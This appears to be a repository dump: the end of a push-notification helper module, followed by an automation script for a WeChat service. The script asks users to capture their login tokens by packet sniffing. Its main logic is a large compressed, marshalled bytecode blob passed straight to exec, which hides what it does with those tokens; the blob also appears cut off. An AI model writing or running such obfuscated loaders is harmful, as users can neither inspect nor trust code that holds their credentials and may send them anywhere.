push_config.get("GOTIFY_TOKEN"): 501 | notify_function.append(gotify) 502 | if push_config.get("IGOT_PUSH_KEY"): 503 | notify_function.append(iGot) 504 | if push_config.get("PUSH_KEY"): 505 | notify_function.append(serverJ) 506 | if push_config.get("PUSH_PLUS_TOKEN"): 507 | notify_function.append(pushplus_bot) 508 | if push_config.get("QMSG_KEY") and push_config.get("QMSG_TYPE"): 509 | notify_function.append(qmsg_bot) 510 | if push_config.get("QYWX_AM"): 511 | notify_function.append(wecom_app) 512 | if push_config.get("QYWX_KEY"): 513 | notify_function.append(wecom_bot) 514 | if push_config.get("TG_BOT_TOKEN") and push_config.get("TG_USER_ID"): 515 | notify_function.append(telegram_bot) 516 | 517 | 518 | def send(title: str, content: str) -> None: 519 | if not content: 520 | print(f"{title} 推送内容为空!") 521 | return 522 | 523 | hitokoto = push_config.get("HITOKOTO") 524 | 525 | text = one() if hitokoto else "" 526 | content += "\n\n" + text 527 | 528 | ts = [ 529 | threading.Thread(target=mode, args=(title, content), name=mode.__name__) 530 | for mode in notify_function 531 | ] 532 | [t.start() for t in ts] 533 | [t.join() for t in ts] 534 | 535 | 536 | def main(): 537 | send("title", "content") 538 | 539 | 540 | if __name__ == "__main__": 541 | main() 542 | -------------------------------------------------------------------------------- /sgs.py: -------------------------------------------------------------------------------- 1 | ''' 2 | VX公众号 -- 申工社 3 | 抓包 fwdt.shengongshe.org 的 token 4 | 变量填写 export sgs='token1#token2' 多账号使用 # 分隔 5 | ''' 6 | 7 | import sys 8 | vesion = sys.version.split(' ')[0] 9 | if vesion.split('.')[1] == "10": 10 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 11 | else: 12 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 13 | exit(1) 14 | 15 | try: 16 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(bz2.decompress(b'BZh91AY&SY\x8e\xa9\xfd\xd1\x00\x059\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x11\x1f\x07V;\xde\xee\xd7^\xbb\xbd\xdb\xe3u^\xcdw\xde\xea\xfa\xfb\xed\xd7\xbd\xeb\xef\x9e\xaf\xbb\x9e}y=\xee\xfby\xda\xde\xf7o}\xbe\xed\xd7\xbd\xde\xafy/e\xee{\xde\xd7}\xf6\xde}_I)\xb5=\xa3S\xd2i\x89\x92l\x04\xc5=\xa1\xa4h\xc3@\x99\x035=\x0140Bx\xd2\x0cL\x98\t\x9a4\x83&\x14\xf20\x9e\x83"L\xd3FS\xd1\x91\x83H6\x84dOM\xa0\x1a\x08\xc6\x9a4e3)\xe9\x84h\xd0\xc9\x91\xa6\xa8\x91\x93M\x90\xa7\xb4&\xa7\xe8\x12y\xa2\x9e&\xd4\xc6\x93e4\xda\x8d2\x99\xa4\xfd&M0h51\x1a&\xd4\xccS\xc0\x89\xb4d\xc2a3Q\xa6\xd44\xda\t\xb4\x1a\x8d1O\'\x89\x88\xc9\xa6\x9a4\xd3S\xd2m4\xd0\x98L\xa6\xd4\xc6\x98\xd4\xc1\xa9\xb4M\x0cL\xd3T:\xa7\x82\x9e&\rL)\xb1\xa0e=4\'\xa5?I<\xd4\xc1\'\x94i\xf9)\xe3Q\x93\x1a\x93\xd1\xe8\xd4\xd3I\xedSa\x18\xa6\xf54\xd2y6\xa7\xa6\x99\x03&M24\xd2a\xa6\x992#&\x8d6\xa9\xfa\x004\x14\xf5=\xa4aM\x93)\x9a\x18\xa7\xa6\x14\xf5h\xea(\x98\xa9\x05\xd4q5\xcf\xa4\x0cA\x16\xb9\xaa\x08\x8bv\xf5L\x10ID\xf9<\x1c\x95Re\xc2\x81\x9ch6\x13Fk0\xab\xfe\x83\xe0\xfd\xb5o\x80\x14\x1c\xd2\x13\r\x92\xc7x\x8bF\xac\x1c\xe9\x81\x1c\xf5>,\xa5\x0bDrB)\x1bdCR\xafC:\x18\xc1\xc6NSRR\x17\xaf~PY<8\xb5\x9bTs\x14l\xbc\x8e\xdf`a\x96\x0f\x83\xc2\x8b\xbc\xab;\xcfM.u\x05$\x8a\x1f>p\xe4-\x8f\xe0\x97*\x8a\xfeB\xfd/\xa6\xec{(\xea\x85\x1c%\xcf\xcb\xd7\x7fF\xf6s\xee\x12]\t\x08\x85\x87\xd7\xc9\xc7\x89`\xd9\xe3/u\x11\x8d\xf67O\xde#(#N\x01^}\x0e\xe2= ^\xbb\xadz\xe9>\xc5\x1bha\xc0\xe9~\x906\xa9\x02\xe2#^(&$\xb16\x11.\xf7\x9b;\xbe\x05\x05Q.G\xa6\\\xda\xec\xd1\xc0\x905\xc3\xa3\x80[\xcf\xb6$\xd1)\xcfcn\x7f\xfc\xee\x99\x80a\xf2Rf\x900\xe6\xdf\xa5\xe0o\xa5\x03\x0b\x9d\xb4HW\x83\x1f`0\xfac\xae\x8d5\x82N\x0c=\xf9\x94;\xbd\xee\xa1u\xc8b8\x0cw\x82\xaf\xf4\xb38\x1b\xbc\x92>\x1b\x99j\x08\xff\xa3\xed\x85nMho\x97\r\x8a\xa5:\xcb\x0by\xc8\x17\xb8P\xce~\xb2t;\xbe\x0cT\x85\ro?\xd5\xb6ZA+\xac\xf6\x1a\xb2\x86R!:c\xfb\xca.\xe7\x00\xa7\xfa\x85\xaf\xad\xe7z{\x88\x10\xef\xf8f\xabepj\xdcc\xb6C[\xbbk\xdc\xfc\xf3\xfc\xcdh\xb7\x91?*\x91\x885\xde\xf4pbo*"\xda\x15G>\xc6\xf3\xd7\x90FA>\xd3Z\x14I\xc6a\xa9\x8c\xca\x83\'\x83\x9f\x87\xfb4foy\x07v\xa2em\x18\x82fWb\x06\xe5K\xd7\x16\xf8\xb9-\xde\xb4O\xf9Cv \x91\xb5\x87\x8c\'\x9e\\\x10(\x15V\x19\xb7\xa8\xe8s\xeaR\x90\x1e\xc2\x025H\xbao\xff\xcf\x01\xfb\xe9\x7f0s\x8b\xf3\xe2cSs&\x0cB\xd0\xd9\xba\xc5\xf5\xd7\x8b\x11\x13#\xcd\xce.\xab\xe4j\x7f\xcb\x0c\x97\x02\nN\xdd\xc9}5[\x8f\xc4\xfa\x85k\xe9\xac\x85\xb5\xa4\x89\xc6jF\xbbD\xe9\x06@\xed[\x9d\rB\xdcE[\xf2a K\xbe`\xe9N\x12\x98u\x96\xbe\x006&iQ+\x91\x06\xfb\xd0 \xc5%m\xe2\x87\x03\x1d\xf5\x85\xc2\xe7&\xfdUW\xd4v\x9e\xa7\x03\xe6\xb3\x14t[\xdaM|\x9e+\t\rx\x8f|\x88\xf8\xce\xe8\x95\xed\xb9\nJCq\x8a\x9a\x1f\x97\xe7\xc3X\xe4u\x08\xb0\xd7\x04cH\x8e\x8e\xe4l\x8c\xee\xdcD\xa9Pr(F0h\xd5\xe1j,\xc8\xc1\xf8of\xe5\xea\x0b+\x19\xb67~\xfe\x8d\xf3\xe1\xd1\xd6z"^_t\x18\x1c\x1d\xd3\x153~\xbb}9G\x12\x81\x10\xb2=d\x13\xe5\xadB\\7\xca532^2x\x82\x8e\xe3\r\xa7\xc8x\x93\x9e\x8bhu"\xb1\xdd\xee0\xe4\xfd\xcfAz\xa5\xc3\x8f\x8bgD\x06#\xe8\xb6\xfb\xfb\xff\x07g\xee\xd6\xcf\xa8.\xbe\x04\xfe\xfa\x82\xb2_M\xeb\xc1\xab\xc2\xc58_\x1c\xdb"\xb82\xc8\x00\xefqa\xea\xffx\x876"m5qY`\xad\xab\x16\x0e\xd8\x81v\xf5tt\x97\x82U\x19\x91\xd6\x1d1QsTQj\xef\x8d\xee\xe7\x11q}p\x9d\xa7\x10\xdckgw\xe2\xd8\\\x1d{ \xa7U\x14\xf7\xdc\x8fdg\x86\xa7\xd7LA\x18N\xb5H2SQu\x13%\xec\xcc\xe8)3\xc4\xbe\x04\xbd\xa2s\xda\xf5\x9c\x10\xc5\xf2\x19\xda\x83L\xd1N\xef\xffY\x1c\xb2\x98\x19\xd6\x92\x82\xbd~H%K\xce\x8e\xb0\xd8\x90\xd9A`Vt\n-\xf6\xa6\x9c\xb4\xef\xeb\xd7U\xb7G\xd0Uc6sL\xc7S\x93f\x7fe]\x17\xae\x86\xc1\xd8P\x1a\xf5\xccY\x95\x03!\xb0o1\x9d~6r\x89\xd1K\x05\xf3\xb5\x08\xc7g\x14dv;\x9d5.\x83.\xbc$\x12^\xd7\xafIf\xc8\xf34i+\x18\xae\xf5lQ\x13&\x1a\xc4\xd3\xb6\x99\xd6\x9c_\x00T\xfd4\x0bb4\xb7\xdc\xa7\x9a\xe0\xb9*\x96\xedF\xc3\xba\xb5\xd4f\x99\xb8\x92\x05\xa2#H8\xd4v\xa0h\xf24\xff\xb6~\xefq\x9eo\xec\xb5"\xe8\xa6/a\xb2\xea\x17\xf5\x9b\xfb\xc9C\xc4~dU\xd3\xf3\x07\x9e\xe3o}\xb4`]\xd9h\x98}\xc0m`\xeb\x80wV\x97\x1d\x1f\x08X\x9bsa\xbb2\x16\x93\x1aWNs\xd7\x9ehr\x0b\x81\x0c\xdfs\x8eTv\xac\xf95\xa7j\xb2\xf8)\xbc\xf7\xe7\x18\xca\xab\xb4\xfe\x02\xae\xed\xa7\xf0\xe3L\x13X\x9d\x9c\xab\xaa\x07!G\xdca\xcc@\xf0c\x91s+b|\xc3\xc3\x1c\xe8&\xf2\xd0\xcc\x02%\x94\x9e\x18\x13\x98$\x9d\xc4\x1e\xd8\xc3\xdfH}8\xdc\xa51\xfa\x9c\xc4}&)\xffV+Q\xbb\xe43\xb6\xeb\x0e\x08]ki\x07b\x9aXO\x11J\xdf\xd3\xac-4\xf1\x7f\x14\x95\xb7\'\x8d=\x19\xcc+\x10\xd6vO.\xa7s9\xa8\x88\xf6\r\x82\xadH.\xc5-\xad\x81\xb2=\x9f\xe5cQt\x8a\xd7\xd4M\xbfu\xab\x87\xc6\x05\xefp\xac\x8c\x7fUp\xd3\xdf5\x87\x9b\x8c\xd7d[Xr]\xa889\x95\x9f\xa7z\x9e\xab\xde\xd6D\x0e?\x0e$\xe8"\x9e%p\xc1Zm\x91\x85$%|\xb19l^w\x18\xafY\xa1\xfc;\xfd\x97+\x14\xd4\xa3\xfa\xa5\xfd^\xec\xe1;\x17}\x1d\xeb,\x11\xeal q\x08\xd7\xeb5\xa0\xd0\xbb>\x8b\xa8g\xb7\x89\xc3\x18\x93\xea\xe0\x8e\xfa\x14a\x98\x02i\x91\xb6\xc7w\xb9\xdc\x88\xc5\x82\x8f\x9b\xb1\xdce\x84\xb9\x97\xab\xab\x16m\xd9\xdf\x9d\x05v?!lO\x89\n\xa0\xab\x93,\xbdd\x16[c\xae\x9e\x16=\x0f\xed\xd4\xfb\x06\x06\x8bA\xf3\x86\xaa\xd2\xfak\xee\xb4%\xbb\x07\xda\xc2\x95B=\xe7;bo\x15\x84\xc8\x10}\xdad\x83\xbe\xc1\xe3\'\xf1%x\x8a\x87g\xf0\x17\xcc$\x03\xa4\x06\xa4\x04\x0b\x14\xc9\xcd\xbf\xc8\x93-\x1b\x93?\x1ba<\x8b~!\x17\xf7\x1e\x02\x0e\x81\x95\x8b\xb3\xcbL\xfc\xc0\xf0~\xdcF\xae\xd2wXX\x02R5\xc1I\xad\xa3\xda\x05\n\x0cB\xd9\xfa\x83\x9b*\x0e3\x8b\x89\xaa\xa0p\x97\xea\xe7BP\xf8\xba\r\xaa\x18\x126:\xd0Z\xea\x9cd\xa6\x81t\xe8r8`\x88s&\xe8\x95Js!t\xfbS\x85\x14\xdf1^\x88\x15\xad\xb3\xf7\xa5\x84\xee\x05!Q\t\xee\n\xd3\x8c\x90\xad\xb4\xaa\x00\x1fq6Jw\xaa;@\x02\xa0\x17\x8a\x169\x11\xa1\xbbi{\x13\x08OX\'\xc1i\xed\xa2\n\xb1\xed\x02\x87 \xb5\t\xe6z\xc1+bA|^\x9d\nW\x9d\xb7-Q\xba\x7f=\x07\xbao\rn\x19L\xb3\xfc\\\x1a\xfb\xfcO\x98\x8a\xfd\x06\xf7\x8ah?\x15z\xd9\xe8B\xd5\x10\xa8]\xcb\xc5}\xc2\xd2H\xfc\xab\xdb/$\xf9\xf60E\xd2\xb1U\xbe$\xcf\x1f\x94\x1cL\xfcn\xf1m\xb8\xf2\xab\xd9\xee\x1eI\xf2-gw\xf2sn\xd9@4\x87\xd8K\x9d\x12\xc1\x1d\xf2\xbf\x98\xff\xa6\x88\xcd\xa0x\x9c\x8d\x07#\x86,\xd5l}\xcf_\x96\x03\'\x16F\xca\x11\x10\xb5\xf81\xf3u\x90\xce\x1f\x99\xe4Z\xf6z\x90n"\xbf\x15%%7\xec\x03\xea\xd1\xff\x8dB\x82\xc8\xd9\x84\xae9d2\x1eg^|m\xc2\xd1G`\x1a\x13\x91\xc6\x125i\'wR\xb1\xee\xa7\x89\xc7\x16\xa9\xd6\xc4j\x0e\xbe\xa8\x14\x8e#\x03\xab}\xcc\x7f\xa9E\xfa\xa8GQ\x8e\x19\x88\xf5\xa1\xdd\xbd\xb7\xd9\xf1\x87*\xb7\xfa[\x9e4\xe2\xe7ft]\xe8\xe8\x1c\x9b\x94\x08\x8a\x9e\t\xd3g3\xef~qx\xc6\x8cC\x8eaqe\xa6\xb1\xbb\xdar\xcf:J\xf9\x8e\xb6?C\xc2\xec\x0c\xda \x17D\x171\'\x01\x12\xda\x95!\xf2\xcd\x9eZ\xa5T\xa53\xea\x16\xc2\xcb\xe2\x89\x9aM\x94\xa39\xab\xc4]\x03\xaa*Cn\x98\xb9L\xad\xb9\xf4\xeeMD\x97\x00\xc4)vr"\x86\xa5\x9ac\xa2\xb2\x05\xd4n)z\x8b\xfbb\x9e\xa7\x8a\xc7\xef\xa5t\xbcT\xea\xbd\n+\xbd\x03\xabwD0\x06a\x90\x8d\xef?\xa2\xdf{\x14\xd5}\xb5gHZ\xdf\xd3\xbf#}\x1b\x00\xd2\x0fG%=\x80\x8ci\xbaE\xce\x95\xb5F\x8e\xaa\x1a\xf1\x81\xe6\xa9\xe7\xa4\xc9\x9b\x92&H\xbb\xd2\xfb\x83\x1b_\x10\xdc\xbeCo\xb5\x15\xc33\xcd\xd5\xad\xd3{\xcd\x17\x1ds\xd0%\x9e\xf5\xda\xf7NN\xb6\n1\r\x17\x07$\x9b\x98$W\x98|\xa5\x17@\x88]\xce\x0bL\xa5|/\x88\xd8\x0c+v\xa0\x90\xe8\xc6\xb8k\xec\xcb\x81\x02\xb5\xb2\xfd\xfa\xe6\x8a\xd9G\xa7!|\x05+\x9f\xa3\x94L\xd5\x12\xa7E\xe8\xc2\xe1\x1b!\xa3\xb3!\x15\x83y\x97t\xfd\xacN\x14\xa3\x1c\xa8["\xbb\xe0\xf7\xebm\x96\x03\x94\x0c\xd6\x87\x8eCD^^7\xddU\xda\x1d\x84\xb7{J\xd0\xbb\x8933\xd6\xb4\xb3\xfcI\xfa\xff\x99\x86\xd3n\xd2g\x87\x02{\x8c\xe8\x02\xa4M[\x01\x94\x9e1s^\xd0U\xba\xc6a\x1e\x08\x16\r\x94h=\xc9\x87\xfd\xce\x1c_\xca-\x0b\xf6\xafr\x0e\xf0\x9e{\x19\xe2\xe3\xaf\xe6\x8b\xdd\'4\xc0\x1b^\x0c\xf56\xd46\x1e\x1e\x83&}\x13\x85\xc8\xac\x12t<\x14L\x86c\x86\x9aE\r\x01\xd9\xef\xb1\x97\xc5J\xa5_\x87\xa5y\x98\x16\xe4g\xb6\xab\xc4\xd4\xdc\xa4\x9fJ3\xed.\xa0\xe0\xdd\xd9\xbbA~\xe6A\xbf\x19\x90\x0cL,-Z6D\xe2\x03n\xf6\xaf\x07\xef\x01\xc6\xde:\n\x8b<[{\x0b\x0eK?!-\xa2:N\t\x9e-\xc9\xce1\x88\x04\x17B\xef \xec\xbd\x985\x9f\x90\x84\xe9^\xe8\xbb\xf4\xd8#7\xbdO\xaf\x8a1a\xd5\xb9\xe2\xde\x93\xaa\x8a\xe1f\xdb`\x9eu\x12\x90\x80HxQq\xa0\xfePo\xfcV\xdc)\xc4dT\xd80\x18_\xafA>\xd7\x06\xa7\x89\x93^O\x87\nT\xa9\xca\x97w\xeam\x8f\xbc\x83D\x97\x98\xbb\x98Bx>-\xae\xd1\xe5\xca\xfb\xe0\xf8\x92}\xe1\xba\x9c\xc5m)%\xd7\xc0\x02\xc8\nu\x80-$C\xc2F\xf8\xd5\xb5\x86A\xe03\xe0\xf7\x97\xa8\xdb\xbbhU\xe9\x11\x8cn"\x12L\xab7\xa5\x0b>\xe7\xfc\xd1\xb5\n|\xb7\x8d\x8a\xb801\x1c^_\xdc\x0c\xf5\x94q\xce\x1a-\xf3z\xe4\xc6q\xd5u\xac\xa4\xae\x0e\x14\xa1\x82\x1a\x9eKn\xaa\x94R\x85[\xdd\xa39\x014\xa4\xf6\xf3\xab.;\xb1{\xfe\xc5\xf5\xf47\x13\x13\x99\xce\xa6\xa8a\x05\x9d\x05@\xef\x85\n\x97\xed\xe6\x9ct\x8cz\xffw\x8b\x84\xcb\xc4b\xc6\xde\xa5?p\xee\x14D6P\xc77\xbf\xa1\x7f\x0f\x82\x97\xbaV\'>\x05E\x86\xfc\xd4\x12\x91k\x96\x97F6\x06\xa7\x95\x8fs\x0f\xbe\xcb7\xc0\xd9\xa4X\xab\xb5l\xe0lhxe\xe7L2\x8f\xea\xf2;\x89(\xf0\xf2\x9e\xc2e:{\xa3\xf4*[\xa7\x87l4\xee\xa7\x9a13-V\xde\x05.\xaa\x80^\xcaG\x85v\x85(\x1b\x0bV\xa9\xde1y\xcd\xdf]\x18\xf8\x82\xeai[\xdey\xa2\x9e\x82\xdfo\x16X\x0e}\xcbT\xfb\xdc\x19\xa3\x9b(u\x9b\xfb\x95Ca\x84&\xe9\x91\x1a\xe4a@\x9c\x1a\x89\xdb\xa9\xc5\x87^\x92\xb8_\x7f*\xbf\x81\x95[x\x1d\xa9\x9d7\x91p\x15\xd8\xd0\xb3g\x8e\x08\xa5\x19)t\xda\xbd\xdf\xaf\xd8\x0c\xd7\x0e\xd4\xb7o\x971R\x81\x13\x0eg~\xa0\x94^\xd3\xb2$b\xf6Zd(\xaf\xf7K\xc1!\xd9\x80\x90)\xf5c^\xc0\xab\xecg\xa9[\xcf\x88\x1c\xc1C\xa0\x13#\xfc\x10m1^\x9b\x97E|\xd1j\x89\x14\xbb8.\x05\xacey@\x9b\xa2h[\x13\xf5\x98\xb3\xf4w\x8d\x1f\x0b\xb8\xa8)D\xbaq\x98\x8ai\x89P\x80%\xc7\xc1]n\xbc\xd7\x8aC!v\xbd\x8f#?9!\xaa\xe7*$\xc1\xb6\xed\x9c\xb1S1\xf3\x18\xef?\xb5\xb4\t\xcbS\xcf\x88\xc6\xab\x1d$R.\xd0\xc6\xd6\x17\xbb5\x1a\xa6\xa3I\xcd\xf2o\xab\xdb)\xb0\xfc\xe4s\x87\x89\x8b\x9a\xe7\rM%\x93\x9e\xdb\xee\xa8\xc3;\xce\xc7\x01%@8V\xba%#\xbd\xa4\x13\xa5\x1e\x04\xbc<\xce\xf6[\x85-\x8fQ\x90z\xe8\xa6Y\xd5\xc6\xa3\xe0j\x82\xc44\x96[f\x01\xc8\xfd\xf3\xad\xa1\xa3\xc3\x84M^/\xe8,\xdbZ\x00\xd9\x966\xe5\xe6\xb3f\x81\xbeo\x1a/V}r\x0f&\x8bv\xf5\xf4g\xa7h\xcd\xef\x84\x88\x10U\x1b\xcf[\xd6\x91\x9b\xa6Z\x11l\xe1\x19\x82\xfb\xb6i-%\x9dW5F\xc4=\r\xec;\xf8\xb5\x7fI\xb8,"~Fv/\xcd\xfdAEgf\x9e\xc2\xe6B\xaf\xa7\x8d\xfd\x1c5Wq\x95Z\xb4\xb3\xe2X\x11\x89;\xfe}VA9+\x93\x19\xb2<-\xd7S\xd6\x05\xdd\xe0\x9b\xa2\xdeB\x86n\x87C\x9c"\xb72\xce\xd7\xca\xed\x97\x1cU\xb5\xbe\x14\xffo\xeb\xf40\xfcs\xc7\xce\xa0\x99\xd8\xe9\xcd\xce\x0fC\x0cYN5\x8b.\xd2e\xc5\xe3\x04w\xb0>\xeb]\x04B\xe8\x90;\xff]\x94\x94k\xc85\xe0j\xa4o\x8an\xd0a.|\xa8\xc1"\xc1\x03 \\a\xfek\xe2U\xf1\xd0e\\\x05\xc3\xcd\xffL|\xd0\xa8\xec\x8d\xf5\xb0\x98\xa2o\xea\x84u}\xf6\x9d"\x01\xdcu\xc3_\xc1\xe7c\xf8Y\xd0\xd9\xac\x8e\xfe\x08\xf7\x95\x05\xdcdfk\xccU6\xb4{NF#\x11/\xe0\x8a\x92_\x8cT\xceMKd\x90\xc1}\xde\xbc\x1c\x01\xd0\xbdh+oF\x03\x0f8\x9c\xb6D\xe4&\xaf\xb32<\xe5\x8a\xf4&\xbbM@J\xb9@\xee\xb0\xd3v\xd8V?\xaa\x14\x8er~\x02\x97\x95\xb7lg\xa5\xdf}\xf6\xd8\x96\xb8\xf5\x944\xcc%%\x982\xfb\xc6\x9e\x9d\x06\xb52\x15\x1f\xca\x83o\xa5(q\xf8P\xcfg\x14\xdak\x05&\xfe\x02\xb9#\xb6Y\x19ea\n\xb8p\x18\x08\x9eL\x7f^\xf5\x0f\x80\xa7\x12G2\xa0\xfc\xf6\x1b\xbf\x00\xde\x98\x96A\xe0\xbc\x0c\xb1\x9d\xe1\xf4\xa5\x85\tQs-R\xe96\'2r?\x0c;\xa6\x05\xba\x1d\xc9\x8d\xb3q\xa2n\xbeW\xd0\x8d\\\xd4c\x91\xa2\xc5yX_W\xbd\r\xd7Y\xc3\xf2$\xca2;6\xf8\rC\x16J\xf1\x00\xe1Q@\x13\xcc\x8e7%\xd4t\xd8\xec\x9a\rI\x16|\xce\xfe\xa6\x95\xbf/\x1fg5\x1e\xce\x9d\x00m\xa0i\r~\x80B9gc5*g>(>T\x0f%\xe9\xd5]\x0b=\x9e\x18\xff\xd7#\x9fe\x93\x84\xc0\xcb\xbc\xcf\x83N_\x1dECjB6\xdb\xb2\xc5\x8e\xc6\x8f\x9c\x1e\xf5[$a\xbc\xc6\xaf\xa7\xeerU\x97@\xa6\xaf%\xa59\xe0\x8a\x97\x1c\xa9\xd2\x14,\x94\xfc\x84~\xf9\xd7\x03\x16[\xc9\x10 \x14D\xc8\x17\xcc@\x931\xe4\r\xc3\xeeW\x98\xa4\x9c\xef9\x8e\xed \xa5\xab(H\n\t3\x16\xcd\x1a-\xafF@\x84;\xa6\xba\xa0\xf2\x119\xaaL\xe2F\xf2\xb8\x84\xeb\x9d\xe5=\xcf@\x1a\xf1*\xb8\xfd\x12F2\n\xba\xc3mX\x9b4P\xb5\x9e\x1f\xda\\\xd5\xd9zz\xa8rV\r\xed\x99\x04\xa6\x869:\x9c\x88\xac\xd3D\x144y\x8e\x7fW\xf9\x90d\xe4\xd4\x17\x005:\xbds\x80\xd3\xb9S>x8\xae\xbcVp\x99\xa4\x03\xfd3\xbc\xdc"\xb9\x97\xda\xea\xb4%\xf1/\x0f@\xe9\x181(vv\xc1E((znc\x85\xa0\xe6q\\9\xf7n\xd1\x88\xcc\x86\x94\x94\x9f\x86\x801\x06W\x9c\xbaa;A\xc0>\x19\xe5\xe3\x12iMd\xe7\x068\xd0\x9aU\x05\x05\xa3\x8bIF\xb3n\xd1\xe4\x08\x1c\xe8+\xd4(@r\xec\xe5u\x83C|F1\xe6ZN\x00\xfcmL%\x0e\x00\xe0W"\x1d\'\xe0U#\xa4\xfd:\x1c\xbc>\xaf\x8dw\xb5\xe1l\xd3\x00\xe0\xcb\n\x0b\xa1\x8f\xc1;\x9e\x88\xff\xf3\x1f+\x987m\x19\xbc\'\xaa\xf4\x98U\xc2\x03a\x89L\xa0\x1f\x17\xd5\xbb\xba\x17\x0c\x16\x88\taJ\xda9e"\xf2\x03Ju\x07\xe9\x97\x0b5\x9be\xe5z\xb7\x9a\xc7\xdf\x17\rqH\x9a\xc7\x08\xa6*\xe9\xbe\xaf_\x18km\x18\x8c\xac\xe1\xe8\x83\xf1\xc7\x9f\x1d\x02\xd3\x07\xc2\xce\xd6\xe7d\x1c\x18\x8e1(\xd8\x19\xa3\xd6ZO\xd9;[\x95\'\x08\x15X\x98\x05)M[F\x029\xd8\xffet\x08\x85\xc6\xdc\x1f\xc2\x97\x1c\xb3lD\xee\xc6\x7f\x1f\x80I\x1a\xa6\xeb\x1f\xb6\x02\x90\x14\x99\xfa\x01\xdd\x8c/\x9b\x15\xd1] t\xb4\t_\x05\x1e\xbc\x10\xa2\xc8{3:\x92\xec\xf6,\x0e\xcf\x9eQ\x00\xb80\xe9\xa0K2I\xb3\x95\x92\xf4\xc2\xdc\xf2\x90\xec\xa0\n\xcb \x93y\xea\xf9\xa0\xf1\xedrh\x95\xedF\x8f$\xeb*\xa7d\x8d\xd6\x14\x8d\xc7\x89\x96\x983Q\xf9\xc8pp\xf1\x90\x1c,\x93\xa7\x80h>\xa46\xff\x9dq\xec\xb7\xb9\xc5\x7f3\xcb\x96\xcd\xdfH\xb5\x8f6u\xa0\x91\x11\xafJ\x8f|\x84\xb2\xf4\xa6i\xb6\x9c\xd5\xa2k7\x1a_\xa6\x88Q\xbas\xec\xbbY\xe7\\\xa3\x19C\xbb\xa1\x92^/\x1e\x0c\xf0L\x12\xcf\x1d\x04\xf8&\x9b\xedU\x1a\xe3>[\xf97\xf4\xf8/p\xec\xd1Fu\x98\x0f\x8di\xe5\'\xad\x9c~v\x1f`\xd3\xaa\x18\x07\x1e:\x0e\xd0f\x0e\xe6\xa2\xe9)Sn\x0c+\x1d\xe62\xcd\xa7\x95\x1d\xe3\xeb\xd1\xdd\xab\xe1\x96o]~\x9b\x1c~$\xf5`\xa5BI\x17\xc8\xaa\xc4\xa2\x91\x8f\x8f\xd0\x99aez\x89\xb2;1\x05I\x9c^\x9e(\xfa \x85\xb5\'D\x00y\xa9\xfd\xec\x19\x1b;\x1d\x98\xdcj}\x1d\xef\nO\xd1\xd9\x91\xe8\xc4\x81l\xbb\xcc\x16a\x0c\xca\xa9\xed\x14\x948\x89%U\x95\xef\x98\xc2\xcc\'\x11\x15\xa4\xf5_eoWk\x1e\xbf\xf5a\x8d\xb3%\xccU\xc0\xcb/7\t\x0e\x8f&\xd5\x05\x9b\xef\x94\x94\xb7c\x97 *\xa1L\xe7\\E\xc1\xd2\xa4#z\x03\x89GOd\xc4\x897\r\xa1\xeb(t\x1a\x04&o\x14\x80\xc6\x18\xe7\x1f5\xa6\xd9\xe6J\xc5\xc4\x9f\t\x04N\x13\x17"\xae\xb2\x1cd5\xedy\x96`k\x1a1\xfb\xd9+\xbe\xd8:\'\xd8\x9f\xb1\xa5\x08\xaa\xaa\xf0%\xa4\xde\x10\xd0:\'\x00\x9c<\xd5S\xb1\xe8\x0c:\x1d\xae\x99\xb6j\x98*?\x96/\x83c\x05!\xc3P\xda\xaa\x8e\xb1\xacW\x8aC\xc5\xafy\xe6@\xd9\xe2>\xc2\x9b\xec\x89z\xaf\xfd\xe6}r$\x98\x07\xbf^\x80\xd4X#\xb3\xe9e]M=M\x04\xcd7\x9dl\x1a>\xb6b\\\xfd\x99\xeaf\xbf]\x8e\x8c\x83}-<{Z \xf7\xcb\xeb9\xae\xee\xf7\xa3[\xae\xbb\xc7\x9cv\xcf\xae\xde%\x1a\xa2\x9a\x15-d\xfb5z\xcd\xdc\x14\xeb\xdd\x87H\x8fw\xdfv\xed\x1fj\xea\x8a\xee\xf5\xdd\xbc\xce\xef\x8a\xa9\xf8 \x01\xa3@\x8c\x00\x00\x02\x04M)\x93M2\x00\r\x07\xa1US\xff&\x044\xd0\xd3FL\x80&\x86\x84eO"z&F\xa0\x00\x03&&*\x9f\xa0\x98\x04\xc0@\x8c\x9ai2\xa7\xe8\xa3F5=C@h\x00\x00\x00EU?\xf6\x80\x1a5M\xa6\x83DLh\xa7\xa9\x94\x1e\x90\x00\x00\x03@4\x00*\xaa\x7f\xf90@\x8dL\x04\xc9\xa9S\xde\x89\x934Pi\xe9\x022\x1e\xa6\x87\x94\x00\xc8f\x84S\xc2\x01&\x990#&D\x06#j\x8fMS\xc2M\x03F\x9a\x01\xa6\x86\x9f\xaayO?i\x03T]Y\x19\x81 \x04\xc2\x11p\xd6@"#\xef&\x9f\xb1\xdfXE\xc9"\xfbG\xa9_71\xee \x8b\x90|Q\x10\xbc\xce\xf3#\x00\x8c\xcc\xf4\xa7\xfcq\n\xfeA\x0fEJ~\x85P\xf9\xec\xf2\xfc\x07\xf1\xf6\xfb\x87\xdf\xf1\xbc\xdd\x89\x8fg\xbf\x8a~\xffl\xbf\xa4\x1e\xaf\xa0\xab\xd6\r Op{\xbf\xbd\xa9X\x7f/\xe1\xeftk?m\xff\x87\xb9\xc5ti\xf3\xbb\xeb\xfej\x94\xf6 \xc4\xfcp\xa6?$.Y\xc9.\xf5\xb1\xe3\xfe\n>\x1f\xe2\xeeb\x8f\\\xa6Z\xe1\x8d\xde\xbe\x91\xdfZ\x16o\xca\\\x81%%\x969j\x17\xaf 